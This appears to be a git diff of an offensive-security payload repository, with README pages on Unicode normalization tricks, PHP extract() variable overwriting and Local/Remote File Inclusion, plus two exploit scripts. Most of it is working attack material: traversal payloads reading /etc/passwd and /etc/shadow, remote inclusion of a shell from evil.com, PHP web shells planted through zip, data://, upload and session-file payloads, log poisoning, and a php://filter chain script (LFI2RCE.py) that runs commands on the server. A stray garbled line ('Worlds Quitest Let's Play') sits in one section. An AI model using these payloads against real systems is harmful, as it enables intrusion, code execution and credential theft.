| `ª` (U+00AA) | `ªdmin` | `admin` |
|
||||
|
||||
```py
|
||||
import unicodedata
|
||||
string = "ᴾᵃʸˡᵒᵃᵈˢ𝓐𝓵𝓵𝕋𝕙𝕖𝒯𝒽𝒾𝓃ℊ𝓈"
|
||||
print ('NFC: ' + unicodedata.normalize('NFC', string))
|
||||
print ('NFD: ' + unicodedata.normalize('NFD', string))
|
||||
print ('NFKC: ' + unicodedata.normalize('NFKC', string))
|
||||
print ('NFKD: ' + unicodedata.normalize('NFKD', string))
|
||||
```
|
||||
|
||||
### Punycode
|
||||
|
||||
Punycode is a way to represent Unicode characters (including non-ASCII letters, symbols, and scripts) using only the limited set of ASCII characters (letters, digits, and hyphens).
|
||||
|
||||
It's mainly used in the Domain Name System (DNS), which traditionally supports only ASCII. Punycode allows internationalized domain names (IDNs), so that domain names can include characters from many languages by converting them into a safe ASCII form.
|
||||
|
||||
| Visible in Browser (IDN support) | Actual ASCII (Punycode) |
|
||||
| -------------------------------- | ----------------------- |
|
||||
| раypal.com | xn--ypal-43d9g.com |
|
||||
| paypal.com | paypal.com |
|
||||
|
||||
In MySQL, similar character are treated as equal. This behavior can be abused in Password Reset, Forgot Password, and OAuth Provider sections.
|
||||
|
||||
```sql
|
||||
SELECT 'a' = 'ᵃ';
|
||||
+-------------+
|
||||
| 'a' = 'ᵃ' |
|
||||
+-------------+
|
||||
| 1 |
|
||||
+-------------+
|
||||
```
|
||||
|
||||
This trick works the SQL query uses `COLLATE utf8mb4_0900_as_cs`.
|
||||
|
||||
```sql
|
||||
SELECT 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs;
|
||||
+----------------------------------------+
|
||||
| 'a' = 'ᵃ' COLLATE utf8mb4_0900_as_cs |
|
||||
+----------------------------------------+
|
||||
| 0 |
|
||||
+----------------------------------------+
|
||||
```
|
||||
|
||||
## Base64
|
||||
|
||||
Base64 encoding is a method for converting binary data (like images or files) or text with special characters into a readable string that uses only ASCII characters (A-Z, a-z, 0-9, +, and /). Every 3 bytes of input are divided into 4 groups of 6 bits and mapped to 4 Base64 characters. If the input isn't a multiple of 3 bytes, the output is padded with `=` characters.
|
||||
|
||||
```ps1
|
||||
echo -n admin | base64
|
||||
YWRtaW4=
|
||||
|
||||
echo -n YWRtaW4= | base64 -d
|
||||
admin
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [NahamCon - Puny-Code: 0-Click Account Takeover](https://github.com/VoorivexTeam/white-box-challenges/tree/main/punycode)
|
||||
* [PentesterLab - Unicode and NFKC](https://pentesterlab.com/exercises/unicode-transform)
|
||||
|
||||
## References
|
||||
|
||||
* [Puny-Code, 0-Click Account Takeover - Voorivex - June 1, 2025](https://blog.voorivex.team/puny-code-0-click-account-takeover)
|
||||
* [Unicode normalization vulnerabilities - Lazar - September 30, 2021](https://lazarv.com/posts/unicode-normalization-vulnerabilities/)
|
||||
* [Unicode Normalization Vulnerabilities & the Special K Polyglot - AppCheck - September 2, 2019](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
|
||||
* [WAF Bypassing with Unicode Compatibility - Jorge Lajara - February 19, 2020](https://jlajara.gitlab.io/Bypass_WAF_Unicode)
|
||||
* [When "Zoë" !== "Zoë". Or why you need to normalize Unicode strings - Alessandro Segala - March 11, 2019](https://withblue.ink/2019/03/11/why-you-need-to-normalize-unicode-strings.html)
|
||||
98
External Variable Modification/README.md
Normal file
98
External Variable Modification/README.md
Normal file
|
|
@ -0,0 +1,98 @@
|
|||
# External Variable Modification
|
||||
|
||||
> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Methodology](#methodology)
|
||||
* [Overwriting Critical Variables](#overwriting-critical-variables)
|
||||
* [Poisoning File Inclusion](#poisoning-file-inclusion)
|
||||
* [Global Variable Injection](#global-variable-injection)
|
||||
* [Remediations](#remediations)
|
||||
* [References](#references)
|
||||
|
||||
## Methodology
|
||||
|
||||
The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
|
||||
|
||||
* It allows overwriting existing variables.
|
||||
* It can lead to **variable pollution**, impacting security mechanisms.
|
||||
* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
|
||||
|
||||
By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
|
||||
|
||||
### Overwriting Critical Variables
|
||||
|
||||
If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$authenticated = false;
|
||||
extract($_GET);
|
||||
if ($authenticated) {
|
||||
echo "Access granted!";
|
||||
} else {
|
||||
echo "Access denied!";
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
**Exploitation:**
|
||||
|
||||
In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
|
||||
|
||||
```ps1
|
||||
http://example.com/vuln.php?authenticated=true
|
||||
http://example.com/vuln.php?authenticated=1
|
||||
```
|
||||
|
||||
### Poisoning File Inclusion
|
||||
|
||||
If `extract()` is combined with file inclusion, attackers can control file paths.
|
||||
|
||||
```php
|
||||
<?php
|
||||
$page = "config.php";
|
||||
extract($_GET);
|
||||
include "$page";
|
||||
?>
|
||||
```
|
||||
|
||||
**Exploitation:**
|
||||
|
||||
```ps1
|
||||
http://example.com/vuln.php?page=../../etc/passwd
|
||||
```
|
||||
|
||||
### Global Variable Injection
|
||||
|
||||
:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
|
||||
|
||||
Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
|
||||
|
||||
```php
|
||||
extract($_GET);
|
||||
```
|
||||
|
||||
An attacker can manipulate **global variables**:
|
||||
|
||||
```ps1
|
||||
http://example.com/vuln.php?GLOBALS[admin]=1
|
||||
```
|
||||
|
||||
## Remediations
|
||||
|
||||
Use `EXTR_SKIP` to prevent overwriting:
|
||||
|
||||
```php
|
||||
extract($_GET, EXTR_SKIP);
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/473.html)
|
||||
* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/621.html)
|
||||
* [Function extract - PHP Documentation - March 21, 2001](https://www.php.net/manual/en/function.extract.php)
|
||||
* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://www.php.net/manual/en/reserved.variables.globals.php)
|
||||
* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
|
||||
* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://ctftime.org/writeup/38076)
|
||||
|
|
@ -1 +0,0 @@
|
|||
71
|
||||
|
|
@ -1,343 +0,0 @@
|
|||
# Local/Remote File Inclusion
|
||||
|
||||
The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.
|
||||
|
||||
## Summary
|
||||
|
||||
* [Basic LFI](#basic-lfi)
|
||||
* [Basic RFI](#basic-rfi)
|
||||
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers)
|
||||
* [Wrapper php://filter](l#wrapper-phpfilter)
|
||||
* [Wrapper zip://](#wrapper-zip)
|
||||
* [Wrapper data://](#wrapper-data)
|
||||
* [Wrapper expect://](#wrapper-expect)
|
||||
* [Wrapper input://](#wrapper-input)
|
||||
* [Wrapper phar://](#wrapper-phar)
|
||||
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
|
||||
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
|
||||
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
|
||||
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
|
||||
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
|
||||
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
|
||||
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
|
||||
|
||||
Linux - Interesting files to check out :
|
||||
|
||||
```powershell
|
||||
/etc/issue
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/group
|
||||
/etc/hosts
|
||||
/etc/motd
|
||||
/etc/mysql/my.cnf
|
||||
/proc/[0-9]*/fd/[0-9]* (first number is the PID, second is the filedescriptor)
|
||||
/proc/self/environ
|
||||
/proc/version
|
||||
/proc/cmdline
|
||||
/proc/sched_debug
|
||||
/proc/mounts
|
||||
/proc/net/arp
|
||||
/proc/net/route
|
||||
/proc/net/tcp
|
||||
/proc/net/udp
|
||||
```
|
||||
|
||||
Windows - Interesting files to check out (Extracted from https://github.com/soffensive/windowsblindread)
|
||||
|
||||
```powershell
|
||||
c:/boot.ini
|
||||
c:/inetpub/logs/logfiles
|
||||
c:/inetpub/wwwroot/global.asa
|
||||
c:/inetpub/wwwroot/index.asp
|
||||
c:/inetpub/wwwroot/web.config
|
||||
c:/sysprep.inf
|
||||
c:/sysprep.xml
|
||||
c:/sysprep/sysprep.inf
|
||||
c:/sysprep/sysprep.xml
|
||||
c:/system32/inetsrv/metabase.xml
|
||||
c:/sysprep.inf
|
||||
c:/sysprep.xml
|
||||
c:/sysprep/sysprep.inf
|
||||
c:/sysprep/sysprep.xml
|
||||
c:/system volume information/wpsettings.dat
|
||||
c:/system32/inetsrv/metabase.xml
|
||||
c:/unattend.txt
|
||||
c:/unattend.xml
|
||||
c:/unattended.txt
|
||||
c:/unattended.xml
|
||||
```
|
||||
|
||||
The following log files are controllable and can be included with an evil payload to achieve a command execution
|
||||
|
||||
```powershell
|
||||
/var/log/apache/access.log
|
||||
/var/log/apache/error.log
|
||||
/var/log/httpd/error_log
|
||||
/usr/local/apache/log/error_log
|
||||
/usr/local/apache2/log/error_log
|
||||
/var/log/vsftpd.log
|
||||
/var/log/sshd.log
|
||||
/var/log/mail
|
||||
```
|
||||
|
||||
## Basic LFI
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
|
||||
Null byte
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
|
||||
Double encoding
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
|
||||
Path truncation
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
|
||||
http://example.com/index.php?page=../../../../[…]../../../../../etc/passwd
|
||||
```
|
||||
|
||||
Filter bypass tricks
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=....//....//etc/passwd
|
||||
http://example.com/index.php?page=..///////..////..//////etc/passwd
|
||||
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
|
||||
```
|
||||
|
||||
## Basic RFI
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http://evil.com/shell.txt
|
||||
```
|
||||
|
||||
Null byte
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http://evil.com/shell.txt%00
|
||||
```
|
||||
|
||||
Double encoding
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
|
||||
```
|
||||
|
||||
## LFI / RFI using wrappers
|
||||
|
||||
### Wrapper php://filter
|
||||
|
||||
The part "php://filter" is case insensitive
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
|
||||
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
|
||||
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
|
||||
```
|
||||
|
||||
can be chained with a compression wrapper for large files.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
|
||||
```
|
||||
|
||||
NOTE: Wrappers can be chained : `php://filter/convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=%s`
|
||||
|
||||
### Wrapper zip://
|
||||
|
||||
```python
|
||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||
zip payload.zip payload.php;
|
||||
mv payload.zip shell.jpg;
|
||||
rm payload.php
|
||||
|
||||
http://example.com/index.php?page=zip://shell.jpg%23payload.php
|
||||
```
|
||||
|
||||
### Wrapper data://
|
||||
|
||||
```powershell
|
||||
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
|
||||
Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`
|
||||
|
||||
### Wrapper expect://
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=expect://id
|
||||
http://example.com/index.php?page=expect://ls
|
||||
```
|
||||
|
||||
### Wrapper input://
|
||||
|
||||
Specify your payload in the POST parameters
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=php://input
|
||||
POST DATA: <? system('id'); ?>
|
||||
```
|
||||
|
||||
### Wrapper phar://
|
||||
|
||||
Create a phar file with a serialized object in its meta-data.
|
||||
|
||||
```php
|
||||
// create new Phar
|
||||
$phar = new Phar('test.phar');
|
||||
$phar->startBuffering();
|
||||
$phar->addFromString('test.txt', 'text');
|
||||
$phar->setStub('<?php __HALT_COMPILER(); ? >');
|
||||
|
||||
// add object of any class as meta data
|
||||
class AnyClass {}
|
||||
$object = new AnyClass;
|
||||
$object->data = 'rips';
|
||||
$phar->setMetadata($object);
|
||||
$phar->stopBuffering();
|
||||
```
|
||||
|
||||
If a file operation is now performed on our existing Phar file via the phar:// wrapper, then its serialized meta data is unserialized. If this application has a class named AnyClass and it has the magic method __destruct() or __wakeup() defined, then those methods are automatically invoked
|
||||
|
||||
```php
|
||||
class AnyClass {
|
||||
function __destruct() {
|
||||
echo $this->data;
|
||||
}
|
||||
}
|
||||
// output: rips
|
||||
include('phar://test.phar');
|
||||
```
|
||||
|
||||
NOTE: The unserialize is triggered for the phar:// wrapper in any file operation, `file_exists` and many more.
|
||||
|
||||
## LFI to RCE via /proc/*/fd
|
||||
|
||||
1. Upload a lot of shells (for example : 100)
|
||||
2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be bruteforced) and $FD the filedescriptor (can be bruteforced too)
|
||||
|
||||
## LFI to RCE via /proc/self/environ
|
||||
|
||||
Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file
|
||||
|
||||
```powershell
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
|
||||
## LFI to RCE via upload
|
||||
|
||||
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
|
||||
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
|
||||
|
||||
## LFI to RCE via upload (race)
|
||||
Worlds Quitest Let's Play"
|
||||
* Upload a file and trigger a self-inclusion.
|
||||
* Repeat 1 a shitload of time to:
|
||||
* increase our odds of winning the race
|
||||
* increase our guessing odds
|
||||
* Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
|
||||
* Enjoy our shell.
|
||||
|
||||
```python
|
||||
import itertools
|
||||
import requests
|
||||
import sys
|
||||
|
||||
print('[+] Trying to win the race')
|
||||
f = {'file': open('shell.php', 'rb')}
|
||||
for _ in range(4096 * 4096):
|
||||
requests.post('http://target.com/index.php?c=index.php', f)
|
||||
|
||||
|
||||
print('[+] Bruteforcing the inclusion')
|
||||
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
|
||||
url = 'http://target.com/index.php?c=/tmp/php' + fname
|
||||
r = requests.get(url)
|
||||
if 'load average' in r.text: # <?php echo system('uptime');
|
||||
print('[+] We have got a shell: ' + url)
|
||||
sys.exit(0)
|
||||
|
||||
print('[x] Something went wrong, please try again')
|
||||
```
|
||||
|
||||
|
||||
## LFI to RCE via phpinfo()
|
||||
|
||||
https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||
Use the script phpInfoLFI.py (also available at https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
|
||||
|
||||
## LFI to RCE via controlled log file
|
||||
|
||||
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
|
||||
|
||||
```powershell
|
||||
http://example.com/index.php?page=/var/log/apache/access.log
|
||||
http://example.com/index.php?page=/var/log/apache/error.log
|
||||
http://example.com/index.php?page=/var/log/vsftpd.log
|
||||
http://example.com/index.php?page=/var/log/sshd.log
|
||||
http://example.com/index.php?page=/var/log/mail
|
||||
http://example.com/index.php?page=/var/log/httpd/error_log
|
||||
http://example.com/index.php?page=/usr/local/apache/log/error_log
|
||||
http://example.com/index.php?page=/usr/local/apache2/log/error_log
|
||||
```
|
||||
|
||||
## LFI to RCE via PHP sessions
|
||||
|
||||
Check if the website use PHP Session (PHPSESSID)
|
||||
|
||||
```javascript
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
|
||||
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] files
|
||||
|
||||
```javascript
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
|
||||
Set the cookie to `<?php system('cat /etc/passwd');?>`
|
||||
|
||||
```powershell
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
|
||||
Use the LFI to include the PHP session file
|
||||
|
||||
```powershell
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
|
||||
```
|
||||
|
||||
## Thanks to
|
||||
|
||||
* [OWASP LFI](https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion)
|
||||
* [HighOn.coffee LFI Cheat](https://highon.coffee/blog/lfi-cheat-sheet/)
|
||||
* [Turning LFI to RFI](https://l.avala.mp/?p=241)
|
||||
* [Is PHP vulnerable and under what conditions?](http://0x191unauthorized.blogspot.fr/2015/04/is-php-vulnerable-and-under-what.html)
|
||||
* [Upgrade from LFI to RCE via PHP Sessions](https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)
|
||||
* [Local file inclusion tricks](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
|
||||
* [CVV #1: Local File Inclusion - SI9INT](https://medium.com/bugbountywriteup/cvv-1-local-file-inclusion-ebc48e0e479a)
|
||||
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos](http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
|
||||
* [Baby^H Master PHP 2017 by @orangetw](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
|
||||
* [Чтение файлов => unserialize !](https://rdot.org/forum/showthread.php?t=4379)
|
||||
* [New PHP Exploitation Technique - 14 Aug 2018 by Dr. Johannes Dahse](https://blog.ripstech.com/2018/new-php-exploitation-technique/)
|
||||
* [It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It, Sam Thomas](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
|
||||
* [Local file inclusion mini list - Penetrate.io](https://penetrate.io/2014/09/25/local-file-inclusion-mini-list/)
|
||||
60
File Inclusion/Files/LFI2RCE.py
Normal file
60
File Inclusion/Files/LFI2RCE.py
Normal file
|
|
@ -0,0 +1,60 @@
|
|||
import requests
|
||||
|
||||
url = "http://localhost:8000/chall.php"
|
||||
file_to_use = "/etc/passwd"
|
||||
command = "id"
|
||||
|
||||
#<?=`$_GET[0]`;;?>
|
||||
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
|
||||
|
||||
conversions = {
|
||||
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
|
||||
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
|
||||
'C': 'convert.iconv.UTF8.CSISO2022KR',
|
||||
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
|
||||
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
|
||||
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
|
||||
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
|
||||
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
|
||||
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
|
||||
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
|
||||
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
|
||||
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
|
||||
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
|
||||
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
|
||||
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
|
||||
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
|
||||
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
|
||||
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
|
||||
}
|
||||
|
||||
|
||||
# generate some garbage base64
|
||||
filters = "convert.iconv.UTF8.CSISO2022KR|"
|
||||
filters += "convert.base64-encode|"
|
||||
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
|
||||
filters += "convert.iconv.UTF8.UTF7|"
|
||||
|
||||
|
||||
for c in base64_payload[::-1]:
|
||||
filters += conversions[c] + "|"
|
||||
# decode and re-encode to get rid of everything that isn't valid base64
|
||||
filters += "convert.base64-decode|"
|
||||
filters += "convert.base64-encode|"
|
||||
# get rid of equal signs
|
||||
filters += "convert.iconv.UTF8.UTF7|"
|
||||
|
||||
filters += "convert.base64-decode"
|
||||
|
||||
final_payload = f"php://filter/{filters}/resource={file_to_use}"
|
||||
|
||||
with open('payload', 'w') as f:
|
||||
f.write(final_payload)
|
||||
|
||||
r = requests.get(url, params={
|
||||
"0": command,
|
||||
"action": "include",
|
||||
"file": final_payload
|
||||
})
|
||||
|
||||
print(r.text)
|
||||
48
File Inclusion - Path Traversal/phpinfolfi.py → File Inclusion/Files/phpinfolfi.py
Executable file → Normal file
48
File Inclusion - Path Traversal/phpinfolfi.py → File Inclusion/Files/phpinfolfi.py
Executable file → Normal file
|
|
@ -1,5 +1,9 @@
|
|||
#!/usr/bin/python
|
||||
# https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf
|
||||
# The following line is not required but supposedly optimizes code.
|
||||
# However, this breaks on some Python 2 installations, where the future module version installed is > 0.16. This can be a pain to revert.
|
||||
# from builtins import range
|
||||
from __future__ import print_function
|
||||
import sys
|
||||
import threading
|
||||
import socket
|
||||
|
|
@ -49,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
|
|||
d += s.recv(offset)
|
||||
try:
|
||||
i = d.index("[tmp_name] =>")
|
||||
if i == -1:
|
||||
i = d.index("[tmp_name] =>")
|
||||
fn = d[i+17:i+31]
|
||||
except ValueError:
|
||||
return None
|
||||
|
|
@ -83,7 +89,7 @@ class ThreadWorker(threading.Thread):
|
|||
if self.event.is_set():
|
||||
break
|
||||
if x:
|
||||
print "\nGot it! Shell created in /tmp/g"
|
||||
print("\nGot it! Shell created in /tmp/g")
|
||||
self.event.set()
|
||||
|
||||
except socket.error:
|
||||
|
|
@ -107,26 +113,28 @@ def getOffset(host, port, phpinforeq):
|
|||
break
|
||||
s.close()
|
||||
i = d.find("[tmp_name] =>")
|
||||
if i == -1:
|
||||
i = d.find("[tmp_name] =>")
|
||||
if i == -1:
|
||||
raise ValueError("No php tmp_name in phpinfo output")
|
||||
|
||||
print "found %s at %i" % (d[i:i+10],i)
|
||||
print("found %s at %i" % (d[i:i+10],i))
|
||||
# padded up a bit
|
||||
return i+256
|
||||
|
||||
def main():
|
||||
|
||||
print "LFI With PHPInfo()"
|
||||
print "-=" * 30
|
||||
print("LFI With PHPInfo()")
|
||||
print("-=" * 30)
|
||||
|
||||
if len(sys.argv) < 2:
|
||||
print "Usage: %s host [port] [threads]" % sys.argv[0]
|
||||
print("Usage: %s host [port] [threads]" % sys.argv[0])
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
host = socket.gethostbyname(sys.argv[1])
|
||||
except socket.error, e:
|
||||
print "Error with hostname %s: %s" % (sys.argv[1], e)
|
||||
except socket.error as e:
|
||||
print("Error with hostname %s: %s" % (sys.argv[1], e))
|
||||
sys.exit(1)
|
||||
|
||||
port=80
|
||||
|
|
@ -134,8 +142,8 @@ def main():
|
|||
port = int(sys.argv[2])
|
||||
except IndexError:
|
||||
pass
|
||||
except ValueError, e:
|
||||
print "Error with port %d: %s" % (sys.argv[2], e)
|
||||
except ValueError as e:
|
||||
print("Error with port %d: %s" % (sys.argv[2], e))
|
||||
sys.exit(1)
|
||||
|
||||
poolsz=10
|
||||
|
|
@ -143,11 +151,11 @@ def main():
|
|||
poolsz = int(sys.argv[3])
|
||||
except IndexError:
|
||||
pass
|
||||
except ValueError, e:
|
||||
print "Error with poolsz %d: %s" % (sys.argv[3], e)
|
||||
except ValueError as e:
|
||||
print("Error with poolsz %d: %s" % (sys.argv[3], e))
|
||||
sys.exit(1)
|
||||
|
||||
print "Getting initial offset...",
|
||||
print("Getting initial offset...", end=' ')
|
||||
reqphp, tag, reqlfi = setup(host, port)
|
||||
offset = getOffset(host, port, reqphp)
|
||||
sys.stdout.flush()
|
||||
|
|
@ -156,7 +164,7 @@ def main():
|
|||
e = threading.Event()
|
||||
l = threading.Lock()
|
||||
|
||||
print "Spawning worker pool (%d)..." % poolsz
|
||||
print("Spawning worker pool (%d)..." % poolsz)
|
||||
sys.stdout.flush()
|
||||
|
||||
tp = []
|
||||
|
|
@ -174,19 +182,19 @@ def main():
|
|||
sys.stdout.flush()
|
||||
if counter >= maxattempts:
|
||||
break
|
||||
print
|
||||
print()
|
||||
if e.is_set():
|
||||
print "Woot! \m/"
|
||||
print("Woot! \m/")
|
||||
else:
|
||||
print ":("
|
||||
print(":(")
|
||||
except KeyboardInterrupt:
|
||||
print "\nTelling threads to shutdown..."
|
||||
print("\nTelling threads to shutdown...")
|
||||
e.set()
|
||||
|
||||
print "Shuttin' down..."
|
||||
print("Shuttin' down...")
|
||||
for t in tp:
|
||||
t.join()
|
||||
|
||||
if __name__=="__main__":
|
||||
print "Don't forget to modify the LFI URL"
|
||||
main()
|
||||
print("Don't forget to modify the LFI URL")
|
||||
main()
|
||||
|
|
@ -1,3 +1,5 @@
|
|||
from __future__ import print_function
|
||||
from builtins import range
|
||||
